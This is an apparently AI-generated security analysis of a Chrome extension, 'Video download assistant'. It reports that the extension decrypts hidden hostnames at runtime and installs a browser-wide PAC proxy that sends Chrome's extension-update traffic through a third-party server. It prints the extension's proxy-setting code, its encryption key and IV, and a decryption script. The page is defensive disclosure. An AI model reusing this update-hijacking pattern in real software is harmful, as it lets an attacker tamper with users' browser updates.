Is Video download assistant safe?

High risk

Video download assistant injects a PAC proxy to route Chrome's extension update traffic through a hardcoded third-party server.

When an update is detected via api.pictureknow.com, the extension sets a browser-wide PAC proxy that redirects requests to clients2.google.com through agency.pictureknow.com. The proxy is active only during the update window and is removed afterward. The extension also monitors response headers across all browser requests to catalog media stream URLs, and fetches DOM injection templates from its server to insert coupon elements into Taobao, Tmall, and JD.com pages.

tomxuxuv1.2.9Chrome Web Store
75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-506
SourceAI SANDBOX

Extension reroutes Chrome's update channel through a third-party proxy

This extension can install a system-wide PAC proxy routing Chrome's update traffic through agency.pictureknow.com.

Hostnames are AES-256-CBC encrypted, decoded only when a newer build is found and Google is unreachable, then removed.

01EvidenceCAUSE EFFECT
What actually happens
You did this

The extension's background worker periodically checks a remote server to see whether a newer build exists.

The check runs on a recurring alarm and queries api.pictureknow.com for a version number.

The extension did this

When a newer build is reported and Chrome's update host is unreachable, the extension installs a browser proxy that sends Chrome's update traffic through a third-party server.

A PAC script is installed via chrome.proxy.settings at regular (system-wide) scope, routing clients2.google.com and clients2.googleusercontent.com through agency.pictureknow.com, then removed after the check completes.

02EvidenceTEMPORAL PATTERN
When this fires
Every 3 hours

A chrome.alarms timer named 'check-update' re-arms every 180 minutes and drives the version check; the version check is also skipped unless at least ~20 hours have elapsed since the last recorded check time.

03EvidenceOPAQUE REVEAL
Why you can't catch this in DevTools

The proxy destination and the two Chrome update hostnames are not stored as plain text in the bundle. They are AES-256-CBC base64 blobs decrypted at runtime, so a casual read of the source does not reveal which hosts are involved. The key is MD5("1=_234a56e7qW") used as a 32-byte UTF-8 key and the IV is the literal string "q23-o6+21z34Q6M8", both taken verbatim from the extension's own code.

What's actually being sent
server                   = agency.pictureknow.com
protocol                 = https
extension_update         = clients2.google.com
extension_update_address = clients2.googleusercontent.com
04EvidenceCODE COMPARE
The code that does this

setProxy's PAC script routes decrypted Google update hosts to the decrypted proxy host, system-wide.

What it actually does
setProxy: function (callback) {
  var protocol = O.decrypte(R.protocol);              // "https"
  var server   = O.decrypte(R.server);                // "agency.pictureknow.com"
  var pac = {
    mode: "pac_script",
    pacScript: {
      data:
        'let p = "' + protocol + '";' +
        'let s = "' + server + '";' +
        'function FindProxyForURL(u, h) {' +
        '  if (h == "' + O.decrypte(R.extension_update) + '") {' +            // "clients2.google.com"
        '    return p + " " + s + "; DIRECT";' +
        '  }' +
        '  if (h == "' + O.decrypte(R.extension_update_address) + '") {' +    // "clients2.googleusercontent.com"
        '    return p + " " + s + "; DIRECT";' +
        '  }' +
        '  return "DIRECT";' +
        '}'
    }
  };
  chrome.proxy.settings.set({ value: pac, scope: "regular" }, function () {
    if (typeof callback === "function") callback();
  });
}

// Effective PAC after decryption:
// function FindProxyForURL(u, h) {
//   if (h == "clients2.google.com")            return "https agency.pictureknow.com; DIRECT";
//   if (h == "clients2.googleusercontent.com") return "https agency.pictureknow.com; DIRECT";
//   return "DIRECT";
// }
05EvidenceTHIRD PARTY LIST
Hosts involved in the update/proxy flow.
  • agency.pictureknow.com

    Decrypted proxy destination. When the PAC script is active, Chrome's extension-update requests to the two Google hosts route through this server instead of directly to Google.

  • api.pictureknow.com

    Version endpoint polled every ~180 minutes (api/v1/version?platform=video_download_helper); a higher reported version is the precondition for the proxy-install path.

  • clients2.google.com

    Chrome's own extension-update host. The PAC script targets this hostname for redirection; a failed direct probe to it is the second gating condition.

  • clients2.googleusercontent.com

    Chrome's extension-update payload host, also targeted by the PAC redirection rule.

06EvidenceARTIFACT
Reproduce it yourself

Decrypts the four AES-256-CBC base64 constants embedded in the extension's background.js using the key and IV taken verbatim from the extension's own code, printing the proxy destination and the two Chrome update hostnames the PAC script targets.

RequiresNode.js 18+
decrypt-proxy-endpoints.js · js
// Decrypt the AES-256-CBC proxy/update endpoints embedded in background.js.
// Key derivation and IV are taken verbatim from the extension's own code:
//   key = MD5("1=_234a56e7qW")  (32 hex chars, used as a 32-byte UTF-8 AES-256 key)
//   iv  = "q23-o6+21z34Q6M8"   (16 bytes)
const crypto = require('crypto');

const keyHex = crypto.createHash('md5').update('1=_234a56e7qW').digest('hex');
const key = Buffer.from(keyHex, 'utf8');             // 32 bytes -> AES-256
const iv  = Buffer.from('q23-o6+21z34Q6M8', 'utf8'); // 16 bytes

function dec(b64) {
  const d = crypto.createDecipheriv('aes-256-cbc', key, iv);
  return Buffer.concat([d.update(Buffer.from(b64, 'base64')), d.final()]).toString('utf8');
}

const consts = {
  server:                   '3tJZbGljQMTh4BiwNY6RiP0p8zrtpuQog4e7vsoKjmA=',
  protocol:                 'LBgCRNF/XO5qKkMQjaUkug==',
  extension_update:         'Sn3PKraH7Z6IZjWL4PXJCTzFsmAUJzFH/gYfjLZINqU=',
  extension_update_address: 'MaOv/OAu8yLhX7CS0bSH+7blEGf331Zf8e1O7CbHbEY=',
};

for (const [k, v] of Object.entries(consts)) {
  console.log(k.padEnd(26), '=>', dec(v));
}

// Expected output:
//   server                     => agency.pictureknow.com
//   protocol                   => https
//   extension_update           => clients2.google.com
//   extension_update_address   => clients2.googleusercontent.com
How to run it
  1. 1
    Save the script as decrypt-proxy-endpoints.js.
  2. 2
    Run `node decrypt-proxy-endpoints.js`.
  3. 3
    Confirm the printed destinations match the four hosts named above.

Data recipients

api.pictureknow.comagency.pictureknow.com
Updated 17 September 2026gnnfgamcecifdmmdpbppjhanfllffmdn